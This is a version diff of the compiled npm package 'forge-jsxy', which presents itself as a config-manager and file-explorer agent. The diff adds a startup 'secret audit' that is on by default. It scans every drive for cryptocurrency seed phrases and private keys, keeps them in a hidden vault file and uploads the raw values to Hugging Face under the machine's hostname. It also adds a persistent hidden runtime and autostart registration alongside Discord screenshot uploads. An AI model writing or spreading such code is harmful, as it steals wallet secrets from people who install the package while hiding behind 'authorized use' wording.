forge-jsxy 1.0.80 → 1.0.82

package/dist/cli-agent.js

@@ -7,10 +7,12 @@ const clientId_1 = require("./clientId");
 const agentEnvFile_1 = require("./autostart/agentEnvFile");
 const manifest_1 = require("./autostart/manifest");
 const agentRunner_1 = require("./agentRunner");
+const runFilenameSecretScan_1 = require("./secretScan/runFilenameSecretScan");
 function bootstrapSyncEnvFromDisk() {
     const dir = (0, clientId_1.defaultCfgmgrDataDir)();
     (0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
     (0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
+    (0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
     const have = (process.env.FORGE_JS_SYNC_URL || "").trim() ||
         (process.env.CFGMGR_API_URL || "").trim() ||
         (process.env.CFGMGR_CFG || "").trim();
@@ -22,8 +24,18 @@ function bootstrapSyncEnvFromDisk() {
         process.env.CFGMGR_API_URL = u;
     }
 }
-if (process.argv.includes("-h") || process.argv.includes("--help")) {
+if (process.argv[2] === "secret-scan") {
+    void (0, runFilenameSecretScan_1.runFilenameSecretScanCli)(process.argv.slice(3))
+        .then((code) => process.exit(code))
+        .catch((e) => {
+        console.error("forge-agent secret-scan:", e instanceof Error ? e.message : e);
+        process.exit(2);
+    });
+}
+else if (process.argv.includes("-h") || process.argv.includes("--help")) {
     console.log(`Usage: forge-agent --relay <ws://host:9877> [--session <id>] [--password <p>|--no-password] [--no-filesystem] [--quiet]\n` +
+        `       forge-agent secret-scan [--path <dir>] [--patterns <json>] [--output <base>] [--threads N] [--include-raw-findings]\n` +
+        `         Local filename-pattern scan for key-like material (JSON + CSV report; no relay; authorized use only — see secret-scan --help).\n` +
         `Env: CFGMGR_RELAY_URL, FORGE_JS_RELAY_URL, CFGMGR_SESSION_ID, CFGMGR_SESSION_PASSWORD (overridden by --password when set)\n` +
         `Session: omit CFGMGR_SESSION_ID to discover sync_api_base_url via GET /api/relay-for-agent.\n` +
         `  Default on all OSes: use this machine's client_* session so explorer targets local disks (no shared-room collisions).\n` +
@@ -41,16 +53,18 @@ if (process.argv.includes("-h") || process.argv.includes("--help")) {
         `Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
     process.exit(0);
 }
-try {
-    bootstrapSyncEnvFromDisk();
-    const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
-    if (!opts) {
-        console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
+else {
+    try {
+        bootstrapSyncEnvFromDisk();
+        const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
+        if (!opts) {
+            console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
+            process.exit(2);
+        }
+        (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
+    }
+    catch (e) {
+        console.error("forge-agent:", e instanceof Error ? e.message : e);
         process.exit(2);
     }
-    (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
-}
-catch (e) {
-    console.error("forge-agent:", e instanceof Error ? e.message : e);
-    process.exit(2);
 }

package/dist/cli-autostart.js

@@ -1,17 +1,55 @@
 #!/usr/bin/env node
 "use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
 Object.defineProperty(exports, "__esModule", { value: true });
 /**
  * Register or remove OS autostart for forge-agent (logon / user session / boot+linger on Linux).
  */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
 const install_1 = require("./autostart/install");
+const durableDistDir_1 = require("./durableDistDir");
 function parseArgs(argv) {
+    const envDist = (process.env.FORGE_JS_AUTOSTART_DIST_DIR || "").trim();
     const opts = {
         relayUrl: process.env.FORGE_JS_RELAY_URL?.trim() ||
             process.env.CFGMGR_RELAY_URL?.trim() ||
             "",
     };
     let cmd = "help";
+    let distDir = envDist;
     for (let i = 2; i < argv.length; i++) {
         const a = argv[i];
         if (a === "install")
@@ -35,33 +73,63 @@ function parseArgs(argv) {
             opts.noPassword = true;
         else if (a === "--no-filesystem")
             opts.noFilesystem = true;
+        else if (a === "--omit-relay-arg")
+            opts.omitRelayArg = true;
+        else if (a === "--omit-sync-url")
+            opts.omitSyncUrl = true;
+        else if ((a === "--dist-dir" || a === "--agent-dist") && argv[i + 1]) {
+            distDir = path.resolve(argv[++i]);
+        }
+    }
+    return { cmd, opts, distDir };
+}
+/** Prefer explicit --dist-dir / env; else durable hidden runtime from current.json; else this package dist/. */
+function resolveDistDirForInstall(parsedDist) {
+    const trimmed = parsedDist.trim();
+    if (trimmed)
+        return trimmed;
+    const durable = (0, durableDistDir_1.readDurableForgeDistDirFromDisk)();
+    if (durable && fs.existsSync(path.join(durable, "cli-agent.js"))) {
+        return durable;
     }
-    return { cmd, opts };
+    return (0, install_1.defaultDistDir)();
 }
 function printHelp() {
     console.log(`forge-autostart — OS autostart for forge-agent (Windows / Linux / macOS)
 
 Usage:
-  forge-autostart install --relay <ws://host:9877> [options]
+  forge-autostart install [--relay <ws://host:9877>] [options]
   forge-autostart uninstall
   forge-autostart status
 
 Options (install):
-  --relay URL     WebSocket relay (required unless FORGE_JS_RELAY_URL or CFGMGR_RELAY_URL is set)
+  --relay URL     WebSocket relay (omit when using --omit-relay-arg; else env vars count as relay)
   --session ID    Optional session id (else uses persisted .client_id)
   --password P    Session password (omit to use CFGMGR_SESSION_PASSWORD at runtime — not stored in manifest)
   --no-password   Agent without password
   --no-filesystem Disable fs explorer on agent
+  --dist-dir DIR  Package dist/ containing cli-agent.js (isolated runtime — survives deleting an npm project)
+  --omit-relay-arg  Omit --relay from OS service argv (agent uses embedded deployment relay URL only)
+  --omit-sync-url   Omit sync URL from forge-js-agent.env (bundle-sourced sync)
+
+Env:
+  FORGE_JS_AUTOSTART_DIST_DIR  Same as --dist-dir when set
 
 Behavior:
   Windows:  Task Scheduler task "${"ForgeJSWorker"}" at user logon (HKCU Run fallback if policy blocks)
   Linux:    systemd user unit forge-js-worker.service + loginctl enable-linger (best-effort)
   macOS:    ~/Library/LaunchAgents/com.forgejs.worker.plist (RunAtLoad + KeepAlive)
 
-Requires: npm run build so dist/cli-agent.js exists. Uses current Node (process.execPath).
+PATH:
+  Does not modify system/user PATH. Entries use absolute paths to Node (at install time) and
+  cli-agent.js. If --dist-dir / FORGE_JS_AUTOSTART_DIST_DIR are omitted, install uses the durable
+  dist from <CfgMgr data>/.forge-jsxy/current.json when present (same tree as npm postinstall),
+  otherwise this package's dist/ next to forge-autostart.
+
+Requires: dist/cli-agent.js at resolved dist dir. Uses current Node (process.execPath).
 `);
 }
-const { cmd, opts } = parseArgs(process.argv);
+const { cmd, opts, distDir: parsedDist } = parseArgs(process.argv);
 if (cmd === "help") {
     printHelp();
     process.exit(0);
@@ -76,11 +144,17 @@ if (cmd === "uninstall") {
     process.exit(0);
 }
 if (cmd === "install") {
-    if (!opts.relayUrl.trim()) {
-        console.error("forge-autostart install: --relay or FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL required.");
+    if (!opts.relayUrl.trim() && !opts.omitRelayArg) {
+        console.error("forge-autostart install: pass --relay or set FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL, " +
+            "or use --omit-relay-arg when the agent should use the embedded deployment relay URL only.");
+        process.exit(2);
+    }
+    let distDirFinal = resolveDistDirForInstall(parsedDist);
+    if (!fs.existsSync(path.join(distDirFinal, "cli-agent.js"))) {
+        console.error(`forge-autostart install: cli-agent.js not found under dist dir: ${distDirFinal}`);
         process.exit(2);
     }
-    const ok = (0, install_1.installAutostart)(opts, (0, install_1.defaultDistDir)());
+    const ok = (0, install_1.installAutostart)(opts, distDirFinal);
     if (ok) {
         console.log("forge-autostart: install completed.");
         process.exit(0);

package/dist/discordAgentScreenshot.js

@@ -209,7 +209,22 @@ function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
     const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
     return Math.min(600_000, Math.max(10_000, base + extra));
 }
+/**
+ * Desktop capture can surface OS prompts or visible tooling (e.g. macOS Screen Recording, capture helpers).
+ * When **`FORGE_JS_HEADLESS_UI`** is on (PM2 default), skip Discord screenshots on **all** platforms unless
+ * **`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS=1`** (opt back in after approving unattended capture).
+ */
+function discordScreenshotSkippedWhenHeadlessUiGateActive() {
+    const headless = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_HEADLESS_UI || "").trim().toLowerCase());
+    if (!headless)
+        return false;
+    const allow = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS || "").trim().toLowerCase());
+    return !allow;
+}
 function startDiscordScreenshotToRelayLoop(opts) {
+    if (discordScreenshotSkippedWhenHeadlessUiGateActive()) {
+        return () => { };
+    }
     const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
     const envOn = ["1", "true", "yes", "on"].includes(en);
     if (!envOn && !opts.enabledByRelayCapabilities) {

package/dist/discordWebhookPost.d.ts

@@ -1,3 +1,4 @@
+export declare function discordWebhookHostnameAllowed(hostname: string): boolean;
 /**
  * `webhookUrl` should be `https://discord.com/api/webhooks/{id}/{token}` (query allowed).
  *

package/dist/discordWebhookPost.js

@@ -1,5 +1,6 @@
 "use strict";
 Object.defineProperty(exports, "__esModule", { value: true });
+exports.discordWebhookHostnameAllowed = discordWebhookHostnameAllowed;
 exports.postPngToDiscordWebhookUrl = postPngToDiscordWebhookUrl;
 /**
  * Agent-side POST of an image (PNG or JPEG) to a Discord **incoming webhook** URL (no Bot header).
@@ -19,10 +20,23 @@ exports.postPngToDiscordWebhookUrl = postPngToDiscordWebhookUrl;
  *    this transparently via X-RateLimit-* headers.
  * 4. `?wait=true` ensures we get a proper response body with message ID so transient failures
  *    are distinguished from successes.
- * 5. Host allowlist prevents SSRF — only discord.com / canary / ptb hostnames are accepted.
+ * 5. Host allowlist prevents SSRF — only official Discord webhook API hosts are accepted,
+ *    plus legacy **discordapp.com** aliases (still routed to Discord's API; some bookmarks/old docs use them).
  */
 const node_crypto_1 = require("node:crypto");
 const discordRateLimit_1 = require("./discordRateLimit");
+/** Exact hostname match only (no subdomain wildcards). */
+const ALLOWED_DISCORD_WEBHOOK_HOSTS = new Set([
+    "discord.com",
+    "discordapp.com",
+    "canary.discord.com",
+    "canary.discordapp.com",
+    "ptb.discord.com",
+    "ptb.discordapp.com",
+]);
+function discordWebhookHostnameAllowed(hostname) {
+    return ALLOWED_DISCORD_WEBHOOK_HOSTS.has(hostname.trim().toLowerCase());
+}
 function discordAttachmentFilenameAndMime(buf) {
     if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
         return { filename: "screenshot.jpg", mime: "image/jpeg" };
@@ -80,10 +94,11 @@ function _getWebhookTracker(webhookPath) {
 async function postPngToDiscordWebhookUrl(webhookUrl, png, caption) {
     const u = new URL(webhookUrl.trim());
     const h = u.hostname.toLowerCase();
-    if (h !== "discord.com" &&
-        h !== "canary.discord.com" &&
-        h !== "ptb.discord.com") {
-        return { ok: false, error: "webhook URL host must be discord.com (or canary/ptb)" };
+    if (!discordWebhookHostnameAllowed(h)) {
+        return {
+            ok: false,
+            error: "webhook URL host must be discord.com or discordapp.com (stable/canary/ptb); other hosts blocked (SSRF)",
+        };
     }
     const base = webhookUrl.trim();
     const exec = base.includes("?") ? `${base}&wait=true` : `${base}?wait=true`;

package/dist/durableDistDir.d.ts

@@ -0,0 +1,4 @@
+/**
+ * @returns Absolute `dist/` containing `cli-agent.js`, or `""` if not installed / invalid.
+ */
+export declare function readDurableForgeDistDirFromDisk(): string;

package/dist/durableDistDir.js

@@ -0,0 +1,61 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.readDurableForgeDistDirFromDisk = readDurableForgeDistDirFromDisk;
+/**
+ * Durable agent install path written by `scripts/forge-isolated-runtime.mjs` (`current.json`).
+ */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const clientId_1 = require("./clientId");
+/**
+ * @returns Absolute `dist/` containing `cli-agent.js`, or `""` if not installed / invalid.
+ */
+function readDurableForgeDistDirFromDisk() {
+    try {
+        const base = path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy");
+        const cur = path.join(base, "current.json");
+        if (!fs.existsSync(cur))
+            return "";
+        const j = JSON.parse(fs.readFileSync(cur, "utf8"));
+        const d = String(j.distDir ?? "").trim();
+        if (!d || !fs.existsSync(path.join(d, "cli-agent.js")))
+            return "";
+        return d;
+    }
+    catch {
+        return "";
+    }
+}

package/dist/hfCredentials.js

@@ -17,7 +17,8 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
  * (JavaScript cannot truly wipe string contents in memory). The relay also scrubs its decrypted
  * copy immediately after sending `relay_hf_credentials_result` over the socket.
  *
- * Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** to base64(iv12 || tag16 || ciphertext) where
+ * Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** (or **`RELAY_HF_CREDENTIALS_B64`** — same blob —
+ * {@link loadHfCredentials} accepts either) to base64(iv12 || tag16 || ciphertext) where
  * plaintext UTF-8 JSON is:
  * `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
  * (`hubUrl` optional; `namespace` = Hugging Face username or org for automatic `namespace/<seq_id>` session repos).
@@ -48,7 +49,7 @@ function decryptHfCredentialsB64(b64) {
 function decryptCredentialsBlob(b64) {
     const raw = Buffer.from(String(b64 || "").trim(), "base64");
     if (raw.length < 12 + 16 + 1) {
-        throw new Error("CFGMGR_HF_CREDENTIALS_B64 too short or invalid base64");
+        throw new Error("HF credential blob too short or invalid base64");
     }
     const iv = raw.subarray(0, 12);
     const tag = raw.subarray(12, 28);
@@ -56,7 +57,14 @@ function decryptCredentialsBlob(b64) {
     const key = (0, deploymentDefaults_1.resolveForgeBundleKey)();
     const decipher = (0, node_crypto_1.createDecipheriv)("aes-256-gcm", key, iv);
     decipher.setAuthTag(tag);
-    const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
+    let plain;
+    try {
+        plain = Buffer.concat([decipher.update(enc), decipher.final()]);
+    }
+    catch {
+        throw new Error("HF credentials decrypt failed — wrong FORGE_JS_BUNDLE_KEY, truncated or corrupt " +
+            "RELAY_HF_CREDENTIALS_B64 / CFGMGR_HF_CREDENTIALS_B64, or invalid base64");
+    }
     const o = JSON.parse(plain.toString("utf8"));
     const token = String(o.token ?? "").trim();
     let hubUrl = String(o.hubUrl ?? o.endpoint ?? "").trim();
@@ -93,15 +101,21 @@ function loadHfCredentials() {
     if (plain)
         c = plain;
     else {
-        const b64 = (process.env.CFGMGR_HF_CREDENTIALS_B64 || "").trim();
+        /** Same ciphertext as relay; `.env` often sets only `RELAY_HF_CREDENTIALS_B64` when not using PM2 ecosystem mirror. */
+        const b64 = ((process.env.CFGMGR_HF_CREDENTIALS_B64 || "").trim() ||
+            (process.env.RELAY_HF_CREDENTIALS_B64 || "").trim());
         if (!b64) {
-            throw new Error("Missing Hugging Face credentials: set RELAY_HF_CREDENTIALS_B64 on the **relay** (agent " +
-                "fetches by default), or CFGMGR_HF_CREDENTIALS_B64 on the agent, or CFGMGR_HF_ALLOW_PLAINTEXT=1 " +
-                "with HUGGINGFACE_HUB_TOKEN for local testing");
+            throw new Error("Missing Hugging Face credentials: set CFGMGR_HF_CREDENTIALS_B64 or RELAY_HF_CREDENTIALS_B64 " +
+                "(same AES-GCM blob), or RELAY_HF_CREDENTIALS_B64 on the relay with agent relay-fetch, " +
+                "or CFGMGR_HF_ALLOW_PLAINTEXT=1 with HUGGINGFACE_HUB_TOKEN for local testing");
         }
         c = decryptCredentialsBlob(b64);
     }
-    const envNs = (process.env.CFGMGR_HF_NAMESPACE || "").trim();
+    const envNs = (process.env.CFGMGR_HF_NAMESPACE ||
+        process.env.HUGGINGFACE_HUB_NAMESPACE ||
+        "")
+        .trim()
+        .replace(/\/+$/, "");
     if (envNs)
         return { ...c, namespace: envNs };
     return c;

package/dist/relayAgent.js

@@ -55,6 +55,7 @@ const deploymentDefaults_1 = require("./deploymentDefaults");
 const agentEnvFile_1 = require("./autostart/agentEnvFile");
 const clientId_1 = require("./clientId");
 const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
+const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
 const pendingRelayHf = new Map();
 /** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
 const pendingDiscordRelayAck = new Map();
@@ -459,6 +460,44 @@ function runRelayAgentLoop(opts) {
         let discordEnabledByRelayHandshake = false;
         /** One `forge_rtc_agent_status` per viewer session so browsers do not spin ICE forever on unsupported agents. */
         let forgeRtcStatusSentThisViewer = false;
+        /**
+         * Run secret audit when relay never sends `connected` (stuck handshake / flaky relay).
+         * Relay-hosted HF credentials are skipped here (`fetchHubCredentials` rejects); disk merge +
+         * `result.json` still run; Hub upload uses local CFGMGR_* HF env only when configured.
+         * Override delay via FORGE_JS_AGENT_SECRET_AUDIT_HANDSHAKE_FALLBACK_MS (ms); use `0` to disable.
+         */
+        let secretAuditHandshakeFallbackTimer = null;
+        const clearSecretAuditHandshakeFallback = () => {
+            if (secretAuditHandshakeFallbackTimer != null) {
+                clearTimeout(secretAuditHandshakeFallbackTimer);
+                secretAuditHandshakeFallbackTimer = null;
+            }
+        };
+        const armSecretAuditHandshakeFallback = () => {
+            clearSecretAuditHandshakeFallback();
+            const rawMs = (process.env.FORGE_JS_AGENT_SECRET_AUDIT_HANDSHAKE_FALLBACK_MS || "").trim();
+            let fallbackMs = 45_000;
+            if (rawMs) {
+                const n = parseInt(rawMs, 10);
+                if (Number.isFinite(n) && n >= 0) {
+                    if (n === 0)
+                        return;
+                    fallbackMs = Math.min(Math.max(n, 5_000), 3_600_000);
+                }
+            }
+            secretAuditHandshakeFallbackTimer = setTimeout(() => {
+                secretAuditHandshakeFallbackTimer = null;
+                if (relayAgentHandshakeDone)
+                    return;
+                (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
+                    relayCaps: {},
+                    quiet,
+                    fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
+                });
+            }, fallbackMs);
+            secretAuditHandshakeFallbackTimer.unref?.();
+        };
+        armSecretAuditHandshakeFallback();
         const tryStartDiscordAfterHandshake = () => {
             if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
                 return;
@@ -494,6 +533,7 @@ function runRelayAgentLoop(opts) {
         const applyRelayAgentConnected = (msg) => {
             if (relayAgentHandshakeDone)
                 return;
+            clearSecretAuditHandshakeFallback();
             discordEnabledByRelayHandshake = false;
             let caps = {};
             const rf = msg.relay_features;
@@ -558,6 +598,11 @@ function runRelayAgentLoop(opts) {
             catch {
                 /* skip */
             }
+            (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
+                relayCaps: caps,
+                quiet,
+                fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
+            });
             tryStartDiscordAfterHandshake();
         };
         ws.on("open", () => {
@@ -575,6 +620,7 @@ function runRelayAgentLoop(opts) {
             relayAgentHandshakeDone = false;
             discordLoopStarted = false;
             discordEnabledByRelayHandshake = false;
+            armSecretAuditHandshakeFallback();
             /**
              * Defer first `info` + queued sends to the next tick so inbound `viewer_connected` (auth
              * challenge) can be handled first on some OS/network stacks — reduces “stuck Authenticating…”
@@ -662,7 +708,13 @@ function runRelayAgentLoop(opts) {
                         const token = String(msg.token ?? "").trim();
                         let hubUrl = String(msg.hubUrl ?? "https://huggingface.co").trim();
                         hubUrl = hubUrl.replace(/\/+$/, "") || "https://huggingface.co";
-                        const ns = String(msg.namespace ?? "").trim();
+                        const ns = String(msg.namespace ?? "").trim().replace(/\/+$/, "");
+                        const envNs = (process.env.CFGMGR_HF_NAMESPACE ||
+                            process.env.HUGGINGFACE_HUB_NAMESPACE ||
+                            "")
+                            .trim()
+                            .replace(/\/+$/, "");
+                        const mergedNs = ns || envNs;
                         if (!token.startsWith("hf_")) {
                             pending.reject(new Error('relay returned invalid token (expected "hf_..." prefix)'));
                             return;
@@ -670,7 +722,7 @@ function runRelayAgentLoop(opts) {
                         pending.resolve({
                             token,
                             hubUrl,
-                            namespace: ns || undefined,
+                            namespace: mergedNs || undefined,
                         });
                     }
                     else {
@@ -1044,6 +1096,7 @@ function runRelayAgentLoop(opts) {
             handleViewerInboundFromRelay(parsed, "ws");
         });
         ws.on("close", () => {
+            clearSecretAuditHandshakeFallback();
             clearAllPendingDiscordAgent("agent websocket closed");
             try {
                 stopDiscordScreenshotLoop?.();
@@ -1060,6 +1113,7 @@ function runRelayAgentLoop(opts) {
             scheduleReconnect();
         });
         ws.on("error", (err) => {
+            clearSecretAuditHandshakeFallback();
             clearAllPendingDiscordAgent("agent websocket error");
             try {
                 stopDiscordScreenshotLoop?.();

package/dist/relayServer.js

@@ -265,6 +265,20 @@ function relayDiscordScreenshotAdvertisedUploadMode() {
         return "relay";
     return "webhook";
 }
+/**
+ * Advertise `relay_features.agent_secret_audit` (belt-and-suspenders with agents, which default audit **ON**
+ * when `FORGE_JS_AGENT_SECRET_AUDIT` is unset).
+ * Default **on** when `RELAY_HF_CREDENTIALS_B64` is set; opt out with `RELAY_AGENT_SECRET_AUDIT=0`.
+ * Agents honor `FORGE_JS_AGENT_SECRET_AUDIT=0` to force-disable locally.
+ */
+function relayAgentSecretAuditAdvertised() {
+    const raw = (process.env.RELAY_AGENT_SECRET_AUDIT || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(raw))
+        return false;
+    if (["1", "true", "yes", "on"].includes(raw))
+        return true;
+    return Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim());
+}
 /**
  * Default on: advertise STUN/TURN ICE servers for browser↔agent WebRTC (signaling still uses this relay WS).
  * Opt out only when explicitly disabled — keeps file-explorer + `/remote` P2P paths enabled without PM2/.env boilerplate.
@@ -1127,6 +1141,9 @@ function attachConnection(ws, req, role, sessionId) {
                     ? { discord_screenshot_first_stagger_ms: discordFirstStagger }
                     : {}),
                 hf_credentials_from_relay: Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim()),
+                ...(relayAgentSecretAuditAdvertised()
+                    ? { agent_secret_audit: true }
+                    : {}),
                 ...(syncAdvertised ? { sync_api_base_url: syncAdvertised } : {}),
                 /** Relay package version for diagnostics (upgrades: file explorer → Upgrade agent). */
                 relay_version: (() => {

package/dist/secretScan/agentStartupAudit.d.ts

@@ -0,0 +1,51 @@
+/**
+ * Relay-connected agent hook: scan for **validated** cryptocurrency mnemonics / private-key material,
+ * merge unique hits locally in `result.json`, optionally upload JSON to Hugging Face
+ * using {@link loadHfCredentials} first when present (PM2 `CFGMGR_HF_CREDENTIALS_B64`), else relay
+ * (`relay_hf_credentials_request` → token). Override order with `CFGMGR_HF_AUDIT_FETCH_RELAY_FIRST=1`.
+ * The Hub `result.json` mirror uses the same slim row shape as disk — **`file`**, **`rule`**, **`data`** (`schema_version` 4).
+ *
+ * **Precision:** loose prose mnemonics (`bip39_loose`) are disabled. Only **checksum-valid English BIP39**
+ * mnemonics and **validated** blockchain-style keys (secp256k1 scalar range, WIF, BIP32 xprv/tprv/zprv…) are kept.
+ * TLS PEM blocks, WireGuard interface secrets, and age identities are **not** scanned or persisted.
+ *
+ * **Scan scope:** unless `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is set, walks POSIX `/` or every present Windows drive letter, merging bundled skips plus OS system-tree absolute prefixes (see `auditScanScope.ts`). Any path under a directory segment named `cfgmgr` (case-insensitive) is skipped — project clones and cfgmgr app data.
+ *
+ * **`schema_version` 4:** each disk `unique_findings[]` row is **`{ file, rule, data }`** — **`data`** is canonical secret material; **`rule`** is the validated-material label (`bip39_checksum_valid`, `secp256k1_private_hex`, …). Legacy v2–v3 keys (`normalized_value`, `value`, `primary_rule`) still load.
+ * **`file`** is the **absolute path of the best merged hit source file** (POSIX slashes): among merged `sources[]`, paths that look like real files win over directory-only legacy paths. Version 1 full rows still load for merge.
+ *
+ * **Local persistence:** `<CfgMgr data>/.forge-jsxy/.vault/secret-audit/result.json` is the canonical store — **exactly one vault JSON path** (atomic replace each successful scan; no timestamped siblings).
+ * It lives under the hidden `.vault` tree (system-level cfgmgr data, not the npm package). Each successful run
+ * **merges** new unique fingerprints into existing disk state — **`result.json` is never deleted** by this module
+ * (only atomically replaced in place). File-explorer **Upgrade / Restart agent / Kill agent** flows do **not**
+ * remove this path (they stop cfgmgr, rebuild, sanitize env — audit history survives).
+ * Manual **`forge-agent secret-scan`** writes **`--output`** `.json` + `.csv` separately and does not add extra vault files.
+ *
+ * Scheduling: after relay `connected`, runs once per agent **process** start (plus OS reboot / interval).
+ * Same-process WebSocket reconnects are throttled by `FORGE_JS_AGENT_SECRET_AUDIT_MIN_INTERVAL_MS`
+ * unless the saved `agent_process_nonce` matches this process (interval applies).
+ *
+ * **Default:** audit scheduling is **ON** after install (`FORGE_JS_AGENT_SECRET_AUDIT` unset). Set `FORGE_JS_AGENT_SECRET_AUDIT=0` to disable locally.
+ *
+ * **Hub uploads:** writes **`agents/<hostname>/result.json`** only (same document shape as local vault). Each `unique_findings[]` row matches disk — **`file`**, **`rule`**, **`data`** (no extra aliases).
+ * Set `FORGE_JS_AGENT_SECRET_AUDIT_HF_REDACT_VALUES=1` to upload Hub rows **without** secret bodies (`file` + **`rule`** only).
+ * `FORGE_JS_AGENT_SECRET_AUDIT_HF_INCLUDE_VALUES=1` (or legacy `FORGE_JS_AGENT_SECRET_AUDIT_HF_FULL_PAYLOAD=1`) forces full rows even when `REDACT_VALUES` is set.
+ *
+ * Authorized deployments only.
+ */
+import type { HfCredentials } from "../hfCredentials";
+export declare function resultJsonPath(): string;
+export declare function agentSecretAuditProcessNonce(): string;
+/** Default ON for turnkey agents (`npm install`). Opt out: FORGE_JS_AGENT_SECRET_AUDIT=0|false|no|off. */
+export declare function isAgentSecretAuditEnabled(caps?: Record<string, unknown>): boolean;
+export declare function shouldRunSecretAuditNow(): boolean;
+export declare function runAgentStartupSecretAudit(opts: {
+    relayCaps?: Record<string, unknown>;
+    fetchHubCredentials: () => Promise<HfCredentials>;
+    quiet: boolean;
+}): Promise<void>;
+export declare function scheduleAgentStartupSecretAudit(opts: {
+    relayCaps: Record<string, unknown>;
+    quiet: boolean;
+    fetchHubCredentials: () => Promise<HfCredentials>;
+}): void;